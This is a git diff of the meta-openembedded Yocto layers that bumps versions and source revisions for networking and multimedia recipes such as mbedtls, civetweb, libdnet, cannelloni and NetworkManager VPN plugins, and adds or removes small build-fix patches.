--- a/meta-openembedded/meta-multimedia/recipes-support/libmediaart/libmediaart-2.0_1.9.5.bb
+++ b/meta-openembedded/meta-multimedia/recipes-support/libmediaart/libmediaart-2.0_1.9.6.bb
@@ -7,12 +7,11 @@ LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=4fbd65380cdd255951079008b364516c \
DEPENDS = "glib-2.0 gdk-pixbuf"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gobject-introspection vala features_check
SRC_URI = "${GNOME_MIRROR}/libmediaart/1.9/libmediaart-${PV}.tar.xz"
-SRC_URI[sha256sum] = "07def5a42c482ae71d3e1f77a4d0fdc337f74226059a65284d6d5a241f0e9cd6"
+SRC_URI[sha256sum] = "c3bc5025d7db380587f9c8eb800c611f6b5a16d6b4b78fcff93f62876a677f17"
S = "${WORKDIR}/libmediaart-${PV}"
diff --git a/meta-openembedded/meta-multimedia/recipes-support/libsrtp/libsrtp_2.4.2.bb b/meta-openembedded/meta-multimedia/recipes-support/libsrtp/libsrtp_2.5.0.bb
index b17e4767b4..d1cbe0f590 100644
--- a/meta-openembedded/meta-multimedia/recipes-support/libsrtp/libsrtp_2.4.2.bb
+++ b/meta-openembedded/meta-multimedia/recipes-support/libsrtp/libsrtp_2.5.0.bb
@@ -8,8 +8,8 @@ SECTION = "libs"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2909fcf6f09ffff8430463d91c08c4e1"
-SRC_URI = "git://github.com/cisco/libsrtp.git;branch=2_4_x_throttle;protocol=https"
-SRCREV = "90d05bf8980d16e4ac3f16c19b77e296c4bc207b"
+SRC_URI = "git://github.com/cisco/libsrtp.git;branch=main;protocol=https"
+SRCREV = "a566a9cfcd619e8327784aa7cff4a1276dc1e895"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-networking/MAINTAINERS b/meta-openembedded/meta-networking/MAINTAINERS
index ce53ec471b..dc549d7582 100644
--- a/meta-openembedded/meta-networking/MAINTAINERS
+++ b/meta-openembedded/meta-networking/MAINTAINERS
@@ -34,10 +34,6 @@ S: Maintained
F: conf
F: recipes-*
-NETKIT
-M: Armin Kuster <akuster808@gmail.com>
-F: recipes-netkit
-
OPENTHREAD
M: Stefan Schmidt <stefan@datenfreihafen.org>
F: recipes-connectivity/openthread/
diff --git a/meta-openembedded/meta-networking/README.md b/meta-openembedded/meta-networking/README.md
index 34e11a96dd..ab2640618f 100644
--- a/meta-openembedded/meta-networking/README.md
+++ b/meta-openembedded/meta-networking/README.md
@@ -33,7 +33,6 @@ branch: master
Maintenance
-----------
Layer maintainers: Khem Raj <raj.khem@gmail.com>
- Armin Kuster <akuster808@gmail.com> (recipes-netkit)
Please see the MAINTAINERS file for information on contacting the
diff --git a/meta-openembedded/meta-networking/dynamic-layers/meta-python/recipes-printing/system-config-printer/system-config-printer_1.5.18.bb b/meta-openembedded/meta-networking/dynamic-layers/meta-python/recipes-printing/system-config-printer/system-config-printer_1.5.18.bb
index f0ff24f376..4f14985469 100644
--- a/meta-openembedded/meta-networking/dynamic-layers/meta-python/recipes-printing/system-config-printer/system-config-printer_1.5.18.bb
+++ b/meta-openembedded/meta-networking/dynamic-layers/meta-python/recipes-printing/system-config-printer/system-config-printer_1.5.18.bb
@@ -33,6 +33,7 @@ do_install:append() {
FILES:${PN} += "${libdir} ${datadir}"
RDEPENDS:${PN} = " \
+ cups \
dbus-x11 \
gtk+3 \
libnotify \
diff --git a/meta-openembedded/meta-networking/files/static-group-meta-networking b/meta-openembedded/meta-networking/files/static-group-meta-networking
index 0aada6c5ff..6896a181ea 100644
--- a/meta-openembedded/meta-networking/files/static-group-meta-networking
+++ b/meta-openembedded/meta-networking/files/static-group-meta-networking
@@ -7,8 +7,8 @@ vmail:x:635:
rasvd:x:636:
frr:x:637:
frrvty:x:638:
-nogroup:x:639:
+nogroup:x:65534:
ftp:x:640:
rwhod:x:641:
lldpd:x:642:
-opensaf:x:643: \ No newline at end of file
+opensaf:x:643:
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni/0001-include-bits-stdc-.h-only-when-using-libstdc.patch b/meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni/0001-include-bits-stdc-.h-only-when-using-libstdc.patch
new file mode 100644
index 0000000000..71f447c94b
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni/0001-include-bits-stdc-.h-only-when-using-libstdc.patch
@@ -0,0 +1,37 @@
+From 7aed36765ae44b41ede7e139da0a11b3696f2e06 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 13 Nov 2023 00:07:23 -0800
+Subject: [PATCH] include bits/stdc++.h only when using libstdc++
+
+We have other c++ runtime implementations e.g. llvm's libc++ which does
+not provide this header bits/stdc++.h, therefore make sure that this
+header is only included when using libstdc++
+
+Fixes
+| /mnt/b/yoe/master/build/tmp/work/core2-64-yoe-linux/cannelloni/1.1.0/git/tcpthread.cpp:27:10: fatal error: 'bits/stdc++.h' file not found
+| 27 | #include <bits/stdc++.h>
+| | ^~~~~~~~~~~~~~~
+
+Upstream-Status: Submitted [https://github.com/mguentner/cannelloni/pull/56]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ tcpthread.cpp | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/tcpthread.cpp b/tcpthread.cpp
+index a1b3047..bb5a7b2 100644
+--- a/tcpthread.cpp
++++ b/tcpthread.cpp
+@@ -24,7 +24,9 @@
+ #include <cstdint>
+ #include <cstdio>
+
++#ifdef __GLIBCXX__
+ #include <bits/stdc++.h>
++#endif
+
+ #include <linux/can.h>
+ #include <string.h>
+--
+2.42.1
+
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni_1.0.0.bb b/meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni_1.1.0.bb
index f34c73c173..dfa7437ba8 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni_1.0.0.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni_1.1.0.bb
@@ -2,8 +2,10 @@ SUMMARY = "a SocketCAN over Ethernet tunnel"
HOMEPAGE = "https://github.com/mguentner/cannelloni"
LICENSE = "GPL-2.0-only"
-SRC_URI = "git://github.com/mguentner/cannelloni.git;protocol=https;branch=master"
-SRCREV = "0bd7e27db35bdef361226882ae04205504f7b2f4"
+SRC_URI = "git://github.com/mguentner/cannelloni.git;protocol=https;branch=master \
+ file://0001-include-bits-stdc-.h-only-when-using-libstdc.patch \
+ "
+SRCREV = "3d4fb8c8b07f6d7c62b2bdad7e5a94de61c9a29b"
LIC_FILES_CHKSUM = "file://gpl-2.0.txt;md5=b234ee4d69f5fce4486a80fdaf4a4263"
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/civetweb/civetweb_git.bb b/meta-openembedded/meta-networking/recipes-connectivity/civetweb/civetweb_1.16.bb
index e9c2056180..0a654a10f1 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/civetweb/civetweb_git.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/civetweb/civetweb_1.16.bb
@@ -2,10 +2,10 @@ SUMMARY = "Civetweb embedded web server"
HOMEPAGE = "https://github.com/civetweb/civetweb"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.md;md5=50bd1d7f135b50d7e218996ba28d0d88"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=ce6ce6eb1b2fd59ee6bab219470442a3"
+
+SRCREV = "d7ba35bbb649209c66e582d5a0244ba988a15159"
-SRCREV = "4b440a339979852d5a51fb11a822952712231c23"
-PV = "1.12+git${SRCPV}"
SRC_URI = "git://github.com/civetweb/civetweb.git;branch=master;protocol=https \
file://0001-Unittest-Link-librt-and-libm-using-l-option.patch \
"
@@ -23,6 +23,7 @@ EXTRA_OECMAKE = " \
-DCIVETWEB_ENABLE_LUA=OFF \
-DCIVETWEB_ENABLE_ASAN=OFF \
-DCIVETWEB_BUILD_TESTING=OFF \
+ -DCIVETWEB_SSL_OPENSSL_API_3_0=ON \
"
# Building with ninja fails on missing third_party/lib/libcheck.a (which
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet/0001-configure-Replace-use-of-AC_EGREP_CPP.patch b/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet/0001-configure-Replace-use-of-AC_EGREP_CPP.patch
deleted file mode 100644
index 133ccc46b2..0000000000
--- a/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet/0001-configure-Replace-use-of-AC_EGREP_CPP.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From b0c98f93a7f427d18206c79bf2a0350dc81172f6 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 6 Apr 2023 10:44:08 -0700
-Subject: [PATCH] configure: Replace use of AC_EGREP_CPP
-
-Use AC_COMPILE_IFELSE instead to compute platform support for arp ioctls
-AC_EGREP_CPP does not work as used with upcoming autoconf 2.72
-
-Upstream-Status: Submitted [https://github.com/ofalk/libdnet/pull/85]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- m4/acinclude.m4 | 11 +++++------
- 1 file changed, 5 insertions(+), 6 deletions(-)
-
-diff --git a/m4/acinclude.m4 b/m4/acinclude.m4
-index d6350a2..3699bf1 100644
---- a/m4/acinclude.m4
-+++ b/m4/acinclude.m4
-@@ -196,12 +196,11 @@ dnl
- AC_DEFUN([AC_DNET_IOCTL_ARP],
- [AC_MSG_CHECKING(for arp(7) ioctls)
- AC_CACHE_VAL(ac_cv_dnet_ioctl_arp,
-- AC_EGREP_CPP(werd,[#include <sys/types.h>
-- #define BSD_COMP
-- #include <sys/ioctl.h>
-- #ifdef SIOCGARP
-- werd
-- #endif],
-+ AC_COMPILE_IFELSE(
-+ [AC_LANG_PROGRAM([[#include <sys/types.h>
-+ #define BSD_COMP
-+ #include <sys/ioctl.h>]],
-+ [[int foo = SIOCGARP;]])],
- ac_cv_dnet_ioctl_arp=yes,
- ac_cv_dnet_ioctl_arp=no))
- case "$host_os" in
---
-2.40.0
-
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet/0001-configure-Use-pkg-config-variable-to-find-check-incl.patch b/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet/0001-configure-Use-pkg-config-variable-to-find-check-incl.patch
deleted file mode 100644
index 8a78e7ac28..0000000000
--- a/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet/0001-configure-Use-pkg-config-variable-to-find-check-incl.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 85d8338a3ebc01a3ea7600aa602139c4eac3be07 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 6 Apr 2023 12:13:09 -0700
-Subject: [PATCH] configure: Use pkg-config variable to find check include paths
-
-Upstream-Status: Submitted [https://github.com/ofalk/libdnet/pull/85]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 3f0c404..553b487 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -153,7 +153,7 @@ AC_ARG_WITH(check,
- esac ],
- [ PKG_CHECK_MODULES([CHECK], [check])
- if test -n "${CHECK_LIBS}"; then
-- CHECKINC="-I${prefix}/include"
-+ CHECKINC="${CHECK_CFLAGS}"
- CHECKLIB="${CHECK_LIBS}"
- AC_MSG_RESULT(yes)
- else
---
-2.40.0
-
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet_1.16.3.bb b/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet_1.17.0.bb
index 05c8fb309f..a42d014f6c 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet_1.16.3.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet_1.17.0.bb
@@ -4,10 +4,9 @@ SECTION = "libs"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=0036c1b155f4e999f3e0a373490b5db9"
-SRC_URI = "git://github.com/ofalk/libdnet.git;nobranch=1;protocol=https \
- file://0001-configure-Replace-use-of-AC_EGREP_CPP.patch \
- file://0001-configure-Use-pkg-config-variable-to-find-check-incl.patch"
-SRCREV = "a03043bec8e66b240a45555e37147b22db182c21"
+SRC_URI = "git://github.com/ofalk/libdnet.git;nobranch=1;protocol=https"
+
+SRCREV = "912f7848bfff4ebc6d610f802a3144f84880cbe4"
UPSTREAM_CHECK_GITTAGREGEX = "libdnet-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0001-AES-NI-use-target-attributes-for-x86-32-bit-intrinsi.patch b/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0001-AES-NI-use-target-attributes-for-x86-32-bit-intrinsi.patch
new file mode 100644
index 0000000000..5030fb99f9
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0001-AES-NI-use-target-attributes-for-x86-32-bit-intrinsi.patch
@@ -0,0 +1,87 @@
+From 80d3e73ad0648f558a067a9dbfe3bc80e6b614f8 Mon Sep 17 00:00:00 2001
+From: Beniamin Sandu <beniaminsandu@gmail.com>
+Date: Mon, 30 Oct 2023 19:15:56 +0000
+Subject: [PATCH] AES-NI: use target attributes for x86 32-bit intrinsics
+
+This way we build with 32-bit gcc/clang out of the box.
+We also fallback to assembly for 64-bit clang-cl if needed cpu
+flags are not provided, instead of throwing an error.
+
+Upstream-Status: Backport [https://github.com/Mbed-TLS/mbedtls/commit/800f2b7c020678a84abfa9688962b91c36e6693d]
+
+Signed-off-by: Beniamin Sandu <beniaminsandu@gmail.com>
+---
+ library/aesni.c | 20 ++++++++++++++++++++
+ library/aesni.h | 8 +++++---
+ 2 files changed, 25 insertions(+), 3 deletions(-)
+
+diff --git a/library/aesni.c b/library/aesni.c
+index 5f25a8249..481fa3822 100644
+--- a/library/aesni.c
++++ b/library/aesni.c
+@@ -41,6 +41,17 @@
+ #include <immintrin.h>
+ #endif
+
++#if defined(MBEDTLS_ARCH_IS_X86)
++#if defined(MBEDTLS_COMPILER_IS_GCC)
++#pragma GCC push_options
++#pragma GCC target ("pclmul,sse2,aes")
++#define MBEDTLS_POP_TARGET_PRAGMA
++#elif defined(__clang__)
++#pragma clang attribute push (__attribute__((target("pclmul,sse2,aes"))), apply_to=function)
++#define MBEDTLS_POP_TARGET_PRAGMA
++#endif
++#endif
++
+ #if !defined(MBEDTLS_AES_USE_HARDWARE_ONLY)
+ /*
+ * AES-NI support detection routine
+@@ -396,6 +407,15 @@ static void aesni_setkey_enc_256(unsigned char *rk_bytes,
+ }
+ #endif /* !MBEDTLS_AES_ONLY_128_BIT_KEY_LENGTH */
+
++#if defined(MBEDTLS_POP_TARGET_PRAGMA)
++#if defined(__clang__)
++#pragma clang attribute pop
++#elif defined(__GNUC__)
++#pragma GCC pop_options
++#endif
++#undef MBEDTLS_POP_TARGET_PRAGMA
++#endif
++
+ #else /* MBEDTLS_AESNI_HAVE_CODE == 1 */
+
+ #if defined(__has_feature)
+diff --git a/library/aesni.h b/library/aesni.h
+index ba1429029..37ae02c82 100644
+--- a/library/aesni.h
++++ b/library/aesni.h
+@@ -50,6 +50,10 @@
+ #if defined(__GNUC__) && defined(__AES__) && defined(__PCLMUL__)
+ #define MBEDTLS_AESNI_HAVE_INTRINSICS
+ #endif
++/* For 32-bit, we only support intrinsics */
++#if defined(MBEDTLS_ARCH_IS_X86) && (defined(__GNUC__) || defined(__clang__))
++#define MBEDTLS_AESNI_HAVE_INTRINSICS
++#endif
+
+ /* Choose the implementation of AESNI, if one is available.
+ *
+@@ -60,13 +64,11 @@
+ #if defined(MBEDTLS_AESNI_HAVE_INTRINSICS)
+ #define MBEDTLS_AESNI_HAVE_CODE 2 // via intrinsics
+ #elif defined(MBEDTLS_HAVE_ASM) && \
+- defined(__GNUC__) && defined(MBEDTLS_ARCH_IS_X64)
++ (defined(__GNUC__) || defined(__clang__)) && defined(MBEDTLS_ARCH_IS_X64)
+ /* Can we do AESNI with inline assembly?
+ * (Only implemented with gas syntax, only for 64-bit.)
+ */
+ #define MBEDTLS_AESNI_HAVE_CODE 1 // via assembly
+-#elif defined(__GNUC__)
+-# error "Must use `-mpclmul -msse2 -maes` for MBEDTLS_AESNI_C"
+ #else
+ #error "MBEDTLS_AESNI_C defined, but neither intrinsics nor assembly available"
+ #endif
+--
+2.34.1
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0001-aesce-do-not-specify-an-arch-version-when-enabling-c.patch b/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0001-aesce-do-not-specify-an-arch-version-when-enabling-c.patch
deleted file mode 100644
index 44d74754c9..0000000000
--- a/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0001-aesce-do-not-specify-an-arch-version-when-enabling-c.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 2246925e3cb16183e25d4e2cfd13fb800df86270 Mon Sep 17 00:00:00 2001
-From: Beniamin Sandu <beniaminsandu@gmail.com>
-Date: Sun, 25 Jun 2023 19:58:08 +0300
-Subject: [PATCH] aesce: do not specify an arch version when enabling crypto
- instructions
-
-Building mbedtls with different aarch64 tuning variations revealed
-that we should use the crypto extensions without forcing a particular
-architecture version or core, as that can create issues.
-
-Upstream-Status: Backport [https://github.com/Mbed-TLS/mbedtls/commit/471a975942dec76bf0ccb92b6c6da055385683fb]
-
-Signed-off-by: Beniamin Sandu <beniaminsandu@gmail.com>
----
- library/aesce.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/library/aesce.c b/library/aesce.c
-index fe056dc4c..843de3973 100644
---- a/library/aesce.c
-+++ b/library/aesce.c
-@@ -60,7 +60,7 @@
- # error "A more recent GCC is required for MBEDTLS_AESCE_C"
- # endif
- # pragma GCC push_options
--# pragma GCC target ("arch=armv8-a+crypto")
-+# pragma GCC target ("+crypto")
- # define MBEDTLS_POP_TARGET_PRAGMA
- # else
- # error "Only GCC and Clang supported for MBEDTLS_AESCE_C"
---
-2.25.1
-
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0002-aesce-use-correct-target-attribute-when-building-wit.patch b/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0002-aesce-use-correct-target-attribute-when-building-wit.patch
deleted file mode 100644
index c8f6cb7509..0000000000
--- a/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0002-aesce-use-correct-target-attribute-when-building-wit.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 03d3523f974536f2358047382aadb0d4cc762f8a Mon Sep 17 00:00:00 2001
-From: Beniamin Sandu <beniaminsandu@gmail.com>
-Date: Mon, 26 Jun 2023 12:07:21 +0300
-Subject: [PATCH] aesce: use correct target attribute when building with clang
-
-Seems clang has its own issues when it comes to crypto extensions,
-and right now the best way to avoid them is to accurately enable
-the needed instructions instead of the broad crypto feature.
-
-E.g.: https://github.com/llvm/llvm-project/issues/61645
-
-Upstream-Status: Backport [https://github.com/Mbed-TLS/mbedtls/commit/aa4f6219014d863bed51453e5261178adc66be34]
-
-Signed-off-by: Beniamin Sandu <beniaminsandu@gmail.com>
----
- library/aesce.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/library/aesce.c b/library/aesce.c
-index 843de3973..7bea088ba 100644
---- a/library/aesce.c
-+++ b/library/aesce.c
-@@ -53,7 +53,7 @@
- # if __clang_major__ < 4
- # error "A more recent Clang is required for MBEDTLS_AESCE_C"
- # endif
--# pragma clang attribute push (__attribute__((target("crypto"))), apply_to=function)
-+# pragma clang attribute push (__attribute__((target("aes"))), apply_to=function)
- # define MBEDTLS_POP_TARGET_PRAGMA
- # elif defined(__GNUC__)
- # if __GNUC__ < 6
---
-2.25.1
-
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls_3.4.1.bb b/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls_3.5.0.bb
index a6f8583b23..5f284227ed 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls_3.4.1.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls_3.5.0.bb
@@ -23,10 +23,9 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
SECTION = "libs"
S = "${WORKDIR}/git"
-SRCREV = "72718dd87e087215ce9155a826ee5a66cfbe9631"
+SRCREV = "1ec69067fa1351427f904362c1221b31538c8b57"
SRC_URI = "git://github.com/ARMmbed/mbedtls.git;protocol=https;branch=master \
- file://0001-aesce-do-not-specify-an-arch-version-when-enabling-c.patch \
- file://0002-aesce-use-correct-target-attribute-when-building-wit.patch \
+ file://0001-AES-NI-use-target-attributes-for-x86-32-bit-intrinsi.patch \
file://run-ptest"
inherit cmake update-alternatives ptest
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/mosquitto/mosquitto_2.0.18.bb b/meta-openembedded/meta-networking/recipes-connectivity/mosquitto/mosquitto_2.0.18.bb
index 0c9ccc810d..ea9eb4857b 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/mosquitto/mosquitto_2.0.18.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/mosquitto/mosquitto_2.0.18.bb
@@ -89,4 +89,4 @@ USERADD_PACKAGES = "${PN}"
USERADD_PARAM:${PN} = "--system --no-create-home --shell /bin/false \
--user-group mosquitto"
-BBCLASSEXTEND += "native nativesdk"
+BBCLASSEXTEND = "native"
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/nanomsg/nng_1.5.2.bb b/meta-openembedded/meta-networking/recipes-connectivity/nanomsg/nng_12.bb
index ab2907110d..ab2907110d 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/nanomsg/nng_1.5.2.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/nanomsg/nng_12.bb
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-fortisslvpn_1.4.0.bb b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-fortisslvpn_1.4.0.bb
index a251e8bf3d..a15c69b601 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-fortisslvpn_1.4.0.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-fortisslvpn_1.4.0.bb
@@ -6,6 +6,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
DEPENDS = "glib-2.0-native libxml2-native networkmanager ppp"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gettext useradd
SRC_URI = " \
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openconnect_1.2.8.bb b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openconnect_1.2.8.bb
index c978defbbf..ee19afbd11 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openconnect_1.2.8.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openconnect_1.2.8.bb
@@ -6,6 +6,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=186e8b54342da4f753a62b7748c947db"
DEPENDS = "glib-2.0-native intltool-native libxml2 networkmanager openconnect"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase useradd
SRC_URI = "${GNOME_MIRROR}/NetworkManager-openconnect/${@gnome_verdir("${PV}")}/NetworkManager-openconnect-${PV}.tar.xz"
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn/0001-linker-script-Do-not-export-_IO_stdin_used.patch b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn/0001-linker-scripts-Do-not-export-_IO_stdin_used.patch
index eafd497ae2..eafd497ae2 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn/0001-linker-script-Do-not-export-_IO_stdin_used.patch
+++ b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn/0001-linker-scripts-Do-not-export-_IO_stdin_used.patch
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn_1.10.2.bb b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn_1.10.2.bb
index 024ef39361..cdef11c89c 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn_1.10.2.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn_1.10.2.bb
@@ -6,11 +6,12 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=100d5a599bead70ddcd70dcd73f2e29c"
DEPENDS = "dbus dbus-glib networkmanager openvpn intltool-native glib-2.0-native"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase useradd gettext systemd
SRC_URI = "${GNOME_MIRROR}/NetworkManager-openvpn/${@gnome_verdir("${PV}")}/NetworkManager-openvpn-${PV}.tar.xz"
-SRC_URI:append:libc-musl = " file://0001-linker-script-Do-not-export-_IO_stdin_used.patch"
+SRC_URI:append:libc-musl = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' file://0001-linker-scripts-Do-not-export-_IO_stdin_used.patch', '', d)}"
SRC_URI[sha256sum] = "62f0f2a8782221b923f212ac2a8ebbc1002efd6a90ee945dad4adfb56d076d21"
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager_1.44.0.bb b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager_1.44.0.bb
index 84ef70c9af..d213ef650f 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager_1.44.0.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager_1.44.0.bb
@@ -22,7 +22,6 @@ DEPENDS = " \
"
DEPENDS:append:class-target = " bash-completion"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gettext update-rc.d systemd gobject-introspection gtk-doc update-alternatives upstream-version-is-even
SRC_URI = " \
@@ -31,7 +30,7 @@ SRC_URI = " \
file://enable-dhcpcd.conf \
file://enable-iwd.conf \
"
-SRC_URI:append:libc-musl = " file://0001-linker-scripts-Do-not-export-_IO_stdin_used.patch"
+SRC_URI:append:libc-musl = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' file://0001-linker-scripts-Do-not-export-_IO_stdin_used.patch', '', d)}"
SRC_URI[sha256sum] = "edca09637d182f806b3b12d8c5623d7badbd73ccca1ae63be20d2f298779fb9f"
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/openfortivpn/openfortivpn_1.20.5.bb b/meta-openembedded/meta-networking/recipes-connectivity/openfortivpn/openfortivpn_1.21.0.bb
index bcfe646913..e6c9a69ee5 100644
--- a/meta-openembedded/meta-networking/recipes-connectivity/openfortivpn/openfortivpn_1.20.5.bb
+++ b/meta-openembedded/meta-networking/recipes-connectivity/openfortivpn/openfortivpn_1.21.0.bb
@@ -3,7 +3,7 @@ LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=3d575262a651a6f1a17210ce41bf907d"
SRC_URI = "git://github.com/adrienverge/openfortivpn.git;protocol=https;branch=master"
-SRCREV = "1ccb8ee682af255ae85fecd5fcbab6497ccb6b38"
+SRCREV = "26a1fe68cc7a61c58f4f2a98862f6fcf30f9f2dc"
DEPENDS = "openssl"
diff --git a/meta-openembedded/meta-networking/recipes-connectivity/samba/samba/cmocka-uintptr_t.patch b/meta-openembedded/meta-networking/recipes-connectivity/samba/samba/cmocka-uintptr_t.patch
deleted file mode 100644
index e6e8784338..0000000000
--- a/meta-openembedded/meta-networking/recipes-connectivity/samba/samba/cmocka-uintptr_t.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 14f8ee7cd1318567b00e52217d57f0a528fd2cf7 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Wed, 25 Jul 2018 09:55:25 +0800
-Subject: [PATCH] samba: cmocka.h: fix musl libc conflicting types error
-
-Fix build on qemumips64(el)
-
-taken from:
-[PATCH] libldb: fix musl libc conflicting types error
-
-/third_party/cmocka/cmocka.h:126:28: error: conflicting types for 'uintptr_t'
- typedef unsigned int uintptr_t;
- ^~~~~~~~~
-use __DEFINED_uintptr_t in alltypes.h to check if uintptr already defined
-
-Upstream-Status: Pending
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-Signed-off-by: Andrea Adami <andrea.adami@gmail.com>
----
- third_party/cmocka/cmocka.h | 7 +++----
- 1 file changed, 3 insertions(+), 4 deletions(-)
-
-diff --git a/third_party/cmocka/cmocka.h b/third_party/cmocka/cmocka.h
-index e6861c8..238201d 100644
---- a/third_party/cmocka/cmocka.h
-+++ b/third_party/cmocka/cmocka.h
-@@ -111,7 +111,7 @@ typedef uintmax_t LargestIntegralType;
- ((LargestIntegralType)(value))
-
- /* Smallest integral type capable of holding a pointer. */
--#if !defined(_UINTPTR_T) && !defined(_UINTPTR_T_DEFINED)
-+#if !defined(__DEFINED_uintptr_t)
- # if defined(_WIN32)
- /* WIN32 is an ILP32 platform */
- typedef unsigned int uintptr_t;
